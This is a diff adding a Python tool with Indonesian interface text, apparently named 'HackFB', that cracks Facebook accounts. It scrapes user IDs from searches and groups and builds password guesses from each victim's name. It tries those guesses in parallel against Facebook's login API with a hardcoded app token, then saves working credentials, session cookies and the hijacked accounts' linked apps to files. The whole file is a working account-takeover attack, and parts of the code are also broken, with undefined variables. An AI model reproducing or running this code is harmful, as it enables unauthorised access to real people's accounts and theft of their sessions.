\
(.*?)<\/div\>',str(z))
+ for uid,nama in namp:
+ if "profile.php?" in uid:uid = re.findall("id=(.*)",str(uid))[0]
+ elif ""+nama in tampung:pass
+ else:tampung.append(uid+"<=>"+nama)
+ console.print(f" {H2}• {P2}sedang proses mengumpulkan id, berhasil mendapatkan {len(tampung)} id....", end="\r")
+ for x in data.find_all("a",href=True):
+ if "Lihat Hasil Selanjutnya" in x.text:
+ self.Dump_Pencarian(x.get("href"))
+ except:pass
+
+ ###----------[ DUMP MEMBER GRUP ]---------- ###
+ def Dump_MemberGrup(self,url):
+ try:
+ data = parser(ses.get(url,cookies=self.cookie,headers={"user-agent": "Mozilla/5.0 (SymbianOS/9.3; Series60/3.2 NokiaE52-1/052.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.2 3gpp-gba"}).text, "html.parser")
+ judul = re.findall("(.*?)",str(data))[0]
+ for isi in data.find_all("h3"):
+ for ids in isi.find_all("a",href=True):
+ if "profile.php" in ids.get("href"):uid = ids.get("href").split("=")[1].replace("&eav","");nama = ids.text
+ else:
+ if ids.text==judul:pass
+ else:uid = ids.get("href").split("/")[1].split("?")[0];nama = ids.text
+ if uid+"<=>"+nama in tampung:pass
+ else:tampung.append(uid+"<=>"+nama)
+ console.print(f" {H2}• {B2}sedang proses mengumpulkan id, berhasil mendapatkan {len(tampung)} id....", end="\r")
+ for x in data.find_all("a",href=True):
+ if "Lihat Postingan Lainnya" in x.text:
+ self.Dump_MemberGrup("https://mbasic.facebook.com"+x.get("href"))
+ except:pass
+
+ ###----------[ DUMP FILE ]---------- ###
+ def Dump_File(self,lok):
+ try:
+ file = open(lok,"r").read().splitlines()
+ for z in file:
+ tampung.append(z)
+ except:pass
+
+ ###----------[ DUMP EMAIL ]---------- ###
+ def Dump_Email(self,nama,format,limit):
+ try:
+ for z in range(int(limit)):
+ if len(nama.split()) > 1:
+ email = str(nama.split()[0])+str(nama.split()[1])+str(z)+str(format)+"<=>"+str(nama.split()[0])+" "+str(nama.split()[1])
+ else:
+ email = str(nama)+str(z)+str(format)+"<=>"+str(nama)
+ if email in tampung:pass
+ else:tampung.append(email)
+ except:pass
+
+ ###----------[ DUMP USERNAME ]---------- ###
+ def Dump_Username(self,nama,limit):
+ try:
+ for z in range(int(limit)):
+ if "." in nama:
+ user = str(nama)+"."+str(z)+"<=>"+str(nama.replace("."," "))
+ else:
+ user = str(nama)+"."+str(z)+"<=>"+str(nama)
+ if user in tampung:pass
+ else:tampung.append(user)
+ except:pass
+
+###----------[ BAGIAN CRACK ]---------- ###
+class Crack:
+
+ ###----------[ FUNCTION INIT ]---------- ###
+ def __init__(self):
+ self.loop = 0
+ self.ok = []
+ self.cp = []
+ self.apk = []
+ self.aktif = []
+ self.kadaluwarsa = []
+ self.hari_ini = datetime.now().strftime("%d-%B-%Y")
+
+ ###----------[ ATUR SANDI DAN METODE ]---------- ###
+ def atursandi(self):
+ prints(Panel(f"""{H2}berhasil mengumpulkan {len(tampung)} id""",width=80,padding=(0,21),style=f"{color_panel}"))
+ set = console.input(f" {H2}• {K2}apakah kamu ingin menggunakan sandi manual?(y/n) : ")
+
+ ###----------[ SANDI MANUAL ]---------- ###
+ if set in["Y","y"]:
+ prints(Panel(f"""{K2}silahkan buat katasandi dengan , (koma) sebagai pemisah tiap katasandi""",width=80,style=f"{color_panel}"))
+ pwx = console.input(f" {H2}• {B2}buat katasandi : ").split(",")
+ if len(pwx)<=5:
+ prints(Panel(f"""{M2}katasandi harus minimal 6 huruf""",width=80,style=f"{color_panel}"))
+ exit()
+ prints(Panel(f"""{K2}memunculkan aplikasi bisa membuat akun terkena checkpoint/dinonaktifkan""",width=80,style=f"{color_panel}"))
+ app = console.input(f" {H2}• {K2}apakah kamu ingin memunculkan aplikasi terkait?(y/n) : ")
+ if app in["Y","y"]:
+ self.apk.append("muncul")
+ else:
+ self.apk.append("kontol anjing")
+ self.manual(pwx)
+
+ ###----------[ SANDI OTOMATIS ]---------- ###
+ else:
+ prints(Panel(f"""{B2}memunculkan aplikasi bisa membuat akun terkena checkpoint/dinonaktifkan""",width=80,style=f"{color_panel}"))
+ app = console.input(f" {H2}• {K2}apakah kamu ingin memunculkan aplikasi terkait?(y/n) : ")
+ if app in["Y","y"]:
+ self.apk.append("muncul")
+ else:
+ self.apk.append("kontol anjing")
+ self.otomatis()
+
+ ###----------[ CRACK MANUAL ]---------- ###
+ def manual(self,pw):
+ global prog,des
+ prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'),TimeElapsedColumn())
+ des = prog.add_task('',total=len(tampung))
+ with prog:
+ with ThreadPoolExecutor(max_workers=30) as fall:
+ self.simpan_hasil()
+ for data in tampung:
+ user = data.split("<=>")[0]
+ nama = data.split("<=>")[1]
+ pwx = pw
+ fall.submit(self.metode_api,user,pwx)
+ prints(Panel(f"""{K2}berhasil crack total {len(tampung)} id, dengan hasil OK : {H2}{len(self.ok)}{P2} CP : {K2}{len(self.cp)}{P2}""",width=80,padding=(0,8),style=f"{color_panel}"))
+ sys.exit()
+
+ ###----------[ CRACK OTOMATIS ]---------- ###
+ def otomatis(self):
+ global prog,des
+ prog = Progress(TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'),TimeElapsedColumn())
+ des = prog.add_task('',total=len(tampung))
+ with prog:
+ with ThreadPoolExecutor(max_workers=30) as fall:
+ self.simpan_hasil()
+ for data in tampung:
+ try:
+ pwx = []
+ user = data.split("<=>")[0]
+ nama = data.split("<=>")[1]
+ depan = nama.split(" ")[0]
+ if len(nama)<=5:
+ if len(depan)<3:
+ pass
+ else:
+ pwx.append(depan+"123")
+ pwx.append(depan+" 1234")
+ pwx.append(depan+"12345")
+ else:
+ if len(depan)<3:
+ pwx.append(nama)
+ else:
+ pwx.append(nama)
+ pwx.append(depan+"123")
+ pwx.append(depan+" 1234")
+ pwx.append(depan+"12345")
+ belakang = nama.split(" ")[1]
+ if len(belakang)<3:
+ pwx.append(depan+belakang)
+ else:
+ pwx.append(depan+belakang)
+ pwx.append(belakang+"123")
+ pwx.append(belakang+" 1234")
+ pwx.append(belakang+"12345")
+ fall.submit(self.metode_api,user,pwx)
+ except:
+ fall.submit(self.metode_api,user,pwx)
+ prints(Panel(f"""{K2}berhasil crack total {len(tampung)} id, dengan hasil OK : {H2}{len(self.ok)}{B2} CP : {K2}{len(self.cp)}{B2}""",width=80,padding=(0,8),style=f"{color_panel}"))
+ sys.exit()
+
+ ###----------[ METODE API ]---------- ###
+ def metode_api(self,email,pwx):
+ prog.update(des,description=f" {H2}•{K2} HackFB {H2}Alex Gans{K2} {str(self.loop)}/{len(tampung)} OK : {H2}{len(self.ok)}{B2} CP : {M2}{len(self.cp)}{B2}")
+ prog.advance(des)
+ try:
+ for pw in pwx:
+ pw = pw.lower()
+ ua = random.choice(ugent)
+ params = {
+ "access_token": "200424423651082|2a9918c6bcd75b94cefcbb5635c6ad16",
+ "sdk_version": f"{str(random.randint(1,26))}",
+ "email": email,
+ "locale": "en_US",
+ "password": pw,
+ "sdk": "android",
+ "generate_session_cookies": "1",
+ "sig": "4f648f21fb58fcd2aa1c65f35f441ef5"
+ }
+ headers = {
+ "Host": "graph.facebook.com",
+ "x-fb-connection-bandwidth": str(random.randint(20000000, 30000000)),
+ "x-fb-sim-hni": str(random.randint(20000, 40000)),
+ "x-fb-net-hni": str(random.randint(20000, 40000)),
+ "x-fb-connection-quality": "EXCELLENT",
+ "user-agent": ua,
+ "content-type": "application/x-www-form-urlencoded",
+ "x-fb-http-engine": "Liger"
+ }
+ post = ses.post("https://graph.facebook.com/auth/login",params=params, headers=headers, allow_redirects=False)
+ if "session_key" in post.text and "EAA" in post.text:
+ coki = ";".join(i["name"]+"="+i["value"] for i in post.json()["session_cookies"])
+ sb = base64.b64encode(os.urandom(18)).decode().replace("=","").replace("+","_").replace("/","-")
+ cookie = f"sb={sb};{coki}"
+ user = re.findall("c_user=(\d+)",cookie)[0]
+ if user in self.ok or user in self.cp:
+ break
+ else:
+ self.ok.append(user)
+ if "muncul" in self.apk:
+ self.get_apk(user,pw,cookie)
+ else:
+ tree = Tree(Panel.fit(f"""{H2}{ok}|{password}{P2}""",style=f"{color_panel}"),guide_style="bold grey100")
+ tree.add(Panel(f"{B2}{ua}{P2}",style=f"{color_panel}"))
+ tree.add(Panel(f"{H2}{cookies}{P2}",style=f"{color_panel}"))
+ prints(tree)
+ open(f"OK/{self.hari_ini}.txt","a").write(f"{user}|{pw}|{cookie}\n")
+ break
+ elif "User must verify their account" in post.text:
+ user = post.json()["error"]["error_data"]["uid"]
+ if user in self.ok or user in self.cp:
+ break
+ else:
+ self.cp.append(user)
+ tree = Tree(Panel.fit(f"""{K2}{ Cp}|{password}{P2}""",style=f"{color_panel}"),guide_style="bold grey100")
+ tree.add(Panel(f"{M2}{ua}{P2}",style=f"{color_panel}"))
+ prints(tree)
+ open(f"CP/{self.hari_ini}.txt","a").write(f"{user}|{pw}\n")
+ break
+ elif "Calls to this api have exceeded the rate limit. (613)" in post.text:
+ prog.update(des,description=f" {H2}•{P2} crack {M2}spam{P2} {str(self.loop)}/{len(tampung)} CP : {H2}{len(self.ok)}{P2} OK : {H2}{len(self.cp)}{P2}")
+ prog.advance(des)
+ time.sleep(30)
+ else:continue
+ except ConnectionError:
+ time.sleep(30)
+ self.metode_api(user,pwx)
+ self.loop +=1
+
+ ###----------[ PRINT SIMPAN HASIL ]---------- ###
+ def simpan_hasil(self):
+ prints(Panel(f"""\r{P2}hasil crack ok tersimpan ke : OK/{self.hari_ini}.txt
+{P2}hasil crack ok tersimpan ke : CP/{self.hari_ini}.txt""",width=80,padding=(0,10),style=f"{color_panel}"))
+
+ ###----------[ PRINT MUNCUL APK ]---------- ###
+ def get_apk(self,user,pw,cookie):
+
+ ###----------[ CEK MODE GRATIS ]---------- ###
+ try:
+ url = ses.get("https://mbasic.facebook.com/",cookies={"cookie": cookie}).text
+ if "Apa yang Anda pikirkan sekarang" in url:
+ pass
+ else:
+ for z in url.find_all("a",href=True):
+ if "Tidak, Terima Kasih" in z.text:
+ get = ses.get("https://mbasic.facebook.com"+z["href"],cookies={"cookie": cookie})
+ parsing = parser(get.text,"html.parser")
+ action = parsing.find("form",{"method":"post"})["action"]
+ data = {
+ "fb_dtsg":re.search('name="fb_dtsg" value="(.*?)"', str(get.text)).group(1),
+ "jazoest":re.search('name="jazoest" value="(.*?)"', str(get.text)).group(1),
+ "submit": "OK, Gunakan Data"
+ }
+ post = ses.post("https://mbasic.facebook.com"+action,data=data,cookies={"cookie": cookie})
+ break
+ except:pass
+
+ ###----------[ APLIKASI AKTIF ]---------- ###
+ aktip = Tree("Aplikasi Aktif",guide_style="bold grey100")
+ self.apkaktif("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookie)
+ if len(self.aktif)==0:
+ aktip.add(f"{P2}tidak ada aplikasi yang terkait")
+ else:
+ for apk in self.aktif:
+ aktip.add(f"{H2}{apk}{P2}")
+
+ ###----------[ APLIKASI KADALUWARSA ]---------- ###
+ kadalu = Tree("Aplikasi Kadaluwarsa",guide_style="bold grey100")
+ self.apkkadaluwarsa("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookie)
+ if len(self.kadaluwarsa)==0:
+ kadalu.add(f"{P2}tidak ada aplikasi yang terkait")
+ else:
+ for apk in self.kadaluwarsa:
+ kadalu.add(f"{M2}{apk}{P2}")
+
+ ###----------[ PRINT SEMUA ]---------- ###
+ tree = Tree(Panel.fit(f"""{H2}{user}|{pw}{P2}""",style=f"{color_panel}"),guide_style="bold grey100")
+ tree.add(aktip)
+ tree.add(kadalu)
+ tree.add(Panel(f"{H2}{cookie}{P2}",style=f"{color_panel}"))
+ prints(tree)
+
+ ###----------[ GET APK AKTIF ]---------- ###
+ def apkaktif(self,url,cookie):
+ try:
+ data = parser(ses.get(url,cookies={"cookie": cookie}).text,"html.parser")
+ for apk in data.find_all("h3"):
+ if "Ditambahkan" in apk.text:
+ self.aktif.append(f"{str(apk.text).replace('Ditambahkan',' Ditambahkan')}")
+ else:continue
+ next = "https://mbasic.facebook.com"+data.find("a",string="Lihat Lainnya")["href"]
+ self.apkaktif(next,cookie)
+ except:pass
+
+ ###----------[ GET APK KADALUWARSA ]---------- ###
+ def apkkadaluwarsa(self,url,cookie):
+ try:
+ data = parser(ses.get(url,cookies={"cookie": cookie}).text,"html.parser")
+ for apk in data.find_all("h3"):
+ if "Kedaluwarsa" in apk.text:
+ self.kadaluwarsa.append(f"{str(apk.text).replace('Kedaluwarsa',' Kedaluwarsa')}")
+ else:continue
+ next = "https://mbasic.facebook.com"+data.find("a",string="Lihat Lainnya")["href"]
+ self.apkkadaluwarsa(next,cookie)
+ except:pass
+
+###----------[ MENU LAIN ]---------- ###
+class Lain:
+
+ ###----------[ FUNCTION INIT ]---------- ###
+ def __init__(self,cookie):
+ self.cookie = cookie
+ self.file = []
+ self.listfile = []
+
+ ###----------[ MENU ]---------- ###
+ def menu(self):
+ prints(Panel(f"""{P2}[{color_text}01{P2}]. lihat akun hasil crack [{color_text}04{P2}]. ganti warna tema tools
+[{color_text}02{P2}]. get info akun target [{color_text}05{P2}]. tampilkan info cookies
+[{color_text}03{P2}]. setting user agent [{color_text}06{P2}]. logout ({M2}hapus login{P2})""",width=80,padding=(0,7),style=f"{color_panel}"))
+ menu = console.input(f" {H2}• {P2}pilih menu : ")
+ if menu in["01","1"]:
+ self.cek_hasil()
+ elif menu in["04","4"]:
+ self.ganti_tema()
+ elif menu in["05","5"]:
+ self.tampil_cookie()
+ elif menu in["06","6"]:
+ os.system("rm data/cookie")
+ exit(prints(Panel(f"""{H2}berhasil menghapus cookie, silahkan ketik ulang python run.py""",width=80,style=f"{color_panel}")))
+ else:
+ exit(prints(Panel(f"""{M2}🙏 maaf fitur ini belum tersedia, silahkan menunggu update selanjutnya""",width=80,style=f"{color_panel}")))
+
+ ###----------[ CEK HASIL CRACK ]---------- ###
+ def cek_hasil(self):
+ prints(Panel(f"""{P2}[{color_text}01{P2}]. lihat akun hasil crack ok
+[{color_text}02{P2}]. lihat akun hasil crack cp""",width=80,padding=(0,20),style=f"{color_panel}"))
+ ask = console.input(f" {H2}• {P2}masukan pilihan : ")
+ if ask in["1","01"]:folder = "OK"
+ else:folder = "CP"
+
+ ###----------[ PILIH FILE ]---------- ###
+ dirs = os.listdir(folder)
+ prints(Panel(f"""{P2} berhasil menemukan {len(dirs)} file hasil crack ok""",width=80,padding=(0,15),style=f"{color_panel}"))
+ num = 0
+ for fil in dirs:
+ num += 1
+ self.file.append(fil)
+ totalakun = open(f"{folder}/{fil}","r").read().splitlines()
+ self.listfile.append(Panel(f"{K2}[{color_text}0{num}{P2}]",width=10,title=f"{P2}nomer",style=f"{color_panel}"))
+ self.listfile.append(Panel(f"{K2}{fil}",width=35,title=f"{P2}tanggal",style=f"{color_panel}"))
+ self.listfile.append(Panel(f"{K2}{len(totalakun)} akun",width=28,title=f"{P2}total akun",style=f"{color_panel}"))
+ console.print(Columns(self.listfile))
+ prints(Panel(f"""{K2}kamu hanya perlu memilih dan memasukan nomer dari file crack di atas""",width=80,style=f"{color_panel}"))
+ result = console.input(f" {H2}• {K2}masukan angka : ")
+
+ ###----------[ MULAI CEK ]---------- ###
+ try:
+ files = self.file[int(result)-1]
+ totalhasil = open(f"{folder}/{files}","r").read().splitlines()
+ except:
+ prints(Panel(f"""{M2}file yang anda masukan tidak tersedia atau input kamu tidak benar""",width=80,style=f"{color_panel}"))
+ exit()
+ nama_file = (f"{files}").replace("-", " ").replace(".txt", "")
+ prints(Panel(f"""{P2}nama file hasil crack : {nama_file} dan terdapat total akun : {len(totalhasil)}""",width=80,style=f"{color_panel}"))
+ for akun in totalhasil:
+ user = akun.split("|")[0]
+ pw = akun.split("|")[1]
+ tree = Tree(" ",guide_style=f"{color_panel}")
+ if folder=="OK":
+ cookie = akun.split("|")[2]
+ tree.add(f"\r{H2}{user}|{pw}{P2} ")
+ tree.add(Panel(f"{H2}{cookie}{P2}",style=f"{color_panel}"))
+ else:
+ tree.add(f"\r{K2}{user}|{pw}{P2} ")
+ prints(tree)
+ prints(Panel(f"""{P2} berhasil mengecek dan mendapatkan total {len(totalhasil)} akun dari file""",width=80,padding=(0,7),style=f"{color_panel}"))
+ exit()
+
+ ###----------[ GANTI WARNA TEMA ]---------- ###
+ def ganti_tema(self):
+ prints(Panel(f"""{P2}[{color_text}01{P2}]. ganti warna tema merah [{color_text}06{P2}]. ganti warna tema pink
+[{color_text}02{P2}]. ganti warna tema hijau [{color_text}07{P2}]. ganti warna tema cyan
+[{color_text}03{P2}]. ganti warna tema kuning [{color_text}08{P2}]. ganti warna tema putih
+[{color_text}04{P2}]. ganti warna tema biru [{color_text}09{P2}]. ganti warna tema orange
+[{color_text}05{P2}]. ganti warna tema ungu [{color_text}10{P2}]. ganti warna tema abu2""",width=80,padding=(0,7),style=f"{color_panel}"))
+ ask = console.input(f" {H2}• {P2}pilih tema : ")
+ if ask in["01","1"]:warna = "[#FF0000]";teks="merah"
+ elif ask in["02","2"]:warna = "[#00FF00]";teks="hijau"
+ elif ask in["03","3"]:warna = "[#FFFF00]";teks="kuning"
+ elif ask in["04","4"]:warna = "[#00C8FF]";teks="biru"
+ elif ask in["05","5"]:warna = "[#AF00FF]";teks="ungu"
+ elif ask in["06","6"]:warna = "[#FF00FF]";teks="pink"
+ elif ask in["07","7"]:warna = "[#00FFFF]";teks="cyan"
+ elif ask in["08","8"]:warna = "[#FFFFFF]";teks="putih"
+ elif ask in["09","9"]:warna = "[#FF8F00]";teks="orange"
+ elif ask in["10"]:warna = "[#AAAAAA]";teks="abu-abu"
+ open("data/theme_color","w").write(warna+"|"+warna.replace("[","").replace("]",""))
+ prints(Panel(f"""{H2}berhasil mengganti tema ke {teks}, silahkan mulai ulang tools""",width=80,padding=(0,6),style=f"{color_panel}"))
+ sys.exit()
+
+
+ ###----------[ TAMPILKAN COOKIE ]---------- ###
+ def tampil_cookie(self):
+ now = datetime.now()
+ hari = now.day+int(30)
+ if hari > 30:hari = hari-30
+ bulan = now.month+1
+ if bulan > 12:bulan = bulan-12
+ if now.month+1 > 12:tahun = now.year+1
+ data = date(year=tahun,month=bulan,day=hari)
+ aktif = data.strftime("%d %B %Y")
+ console.print(f" {H2}• {P2}aktif sampai : {aktif}")
+ prints(Panel(f"""{H2}{self.cookie.get('cookie')}""",width=80,style=f"{color_panel}"))
+ sys.exit()
+
+###----------[ BAGIAN SESSION HEADERS DAN USER AGENT ]---------- ###
+class Session:
+
+ ###----------[ GENERATE USER AGENT CRACK ]---------- ###
+ def generate_ugent(self):
+ versi_android = random.randint(4,12)
+ versi_chrome = str(random.randint(300,325))+".0.0."+str(random.randint(1,8))+"."+str(random.randint(40,150))
+ versi_app = random.randint(410000000,499999999)
+ device = random.choice(["VOG-L29 Build/HUAWEIVOG-L29","STK-LX3 Build/HUAWEISTK-LX3","BTV-W09 Build/HUAWEIBEETHOVEN-W09","CLT-AL00 Build/HUAWEICLT-AL00","LYA-AL10 Build/HUAWEILYA-AL10","ELE-L29 Build/HUAWEIELE-L29","DIG-AL00 Build/HUAWEIDIG-AL00","EVA-L09 Build/HUAWEIEVA-L09"])
+ density = random.choice(["{density=3.0,width=1080,height=1920}","{density=2.0,width=720,height=1412}","{density=1.5, width=480, height=800}"])
+ ugent = f"Davik/2.1.0 (Linux; U; Android {android_version}; {model_device} Build/{build_device}) [FBAN/MessengerLite;FBAV/{versi_chrome};FBPN/com.facebook.mlite;FBLC/{language};FBBV/{versi_app};FBCR/{simcard};FBMF/{merk_device};FBBD/{brand_device};FBDV/{model_device};FBSV/{android_version};FBCA/{cpu_device};FBDM/"+str(large_device)+";]"
+ return ugent
+
+if __name__=="__main__":
+ try:os.mkdir("OK")
+ except:pass
+ try:os.mkdir("CP")
+ except:pass
+ try:os.mkdir("data")
+ except:pass
+ Menu().menu()
+#Gunakan Facebook dalam mode dasar dengan Trii
+